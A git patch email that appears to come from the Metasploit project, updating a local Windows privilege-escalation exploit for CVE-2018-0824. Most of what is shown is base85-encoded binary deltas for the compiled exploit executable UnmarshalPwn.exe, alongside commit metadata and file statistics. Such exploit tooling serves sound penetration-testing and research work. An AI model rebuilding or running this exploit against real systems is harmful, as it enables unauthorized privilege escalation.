z(rG=zz3SHE1zp568t3#eUa)Q2=4%lgXM~&_ZSOtkNl`}9Kawt<4rH*kICt@Czju33 v8)Bx_-pAtq+`exY5DFw@-2uI4<(zPWNa#rlthsJGj)Jq9kIF*Ds92UKLv(49 literal 642 zcmaJ<%Z`FT5UjJw{sYnLM(@V#$-9^R0UQRwu#ECB^7Cp{4I>V}Q z8vEtLe;CsQ`f9DHxFP?Ev!}!l=AXA(tbaPXB)?e2)ZxZ=WBxB^dUob-#=8i1_Gje& z#NH7xP7*QWxk;u;rQVR_ZEgn@tlw?!^&hiWzdbpQSTU6@kZ|n!BHMH z&igHE#D^B#C0S%eU&NVp6G0(387PZ-EEgbz$T!iF{)Ih2s#3))PG3UgP1Q}DtJM4T scz$|Z=lK;g4N+I(s=G=3Qb{EQjTt>Jbp9s%DP3FaHu&?8cf7RCCwZ7@iU0rr literal 630 zcmaiyOKZYV5QWcL=zj>fEfw0WxN;+co0fK2Vs4B9U*sm0{`t1wOo&Foy0~*EXI^K{ z&F{}p2USW{Xp2p>*G`#oJ!s%(q!H-M(Ty4fmG}kNtEQTB%)V1m=}BwwfWPvrT#@e@ zH0NG}74Ao{glS)#QXA|NYdIfY7hrMp+Ji@H`t9kzWx_SD6;~Ri;cvXH)6CO{-I1p_IJPQ#X=r zigZeSqQguJz35q;zt9^Q_C^^>*mmuXUCp&pw^fPoGX+dho4RCrySs7j@9_UipWkA5 OQDt4mH~x-^Z~X_?9czaG From d2c013001d40d83c1e1adb52ed7ae6d5622d75b4 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Wed, 17 Oct 2018 17:17:05 -0500 Subject: [PATCH 15/20] Update stuff --- data/exploits/CVE-2018-0824/UnmarshalPwn.exe | Bin 125952 -> 125440 bytes .../CVE-2018-0824/UnmarshalPwn.vcxproj | 9 +- modules/exploits/windows/local/unmarshal.rb | 236 +++++++++++------- 3 files changed, 151 insertions(+), 94 deletions(-) mode change 100644 => 100755 external/source/exploits/CVE-2018-0824/UnmarshalPwn.vcxproj diff --git a/data/exploits/CVE-2018-0824/UnmarshalPwn.exe b/data/exploits/CVE-2018-0824/UnmarshalPwn.exe index 5346d25e75ccb639f66b13e8d1acddad5a7a78f3..dcce9efbb44aa32c9771ed13359b466ff2a25291 100644 GIT binary patch delta 23374 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 delta 23180 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 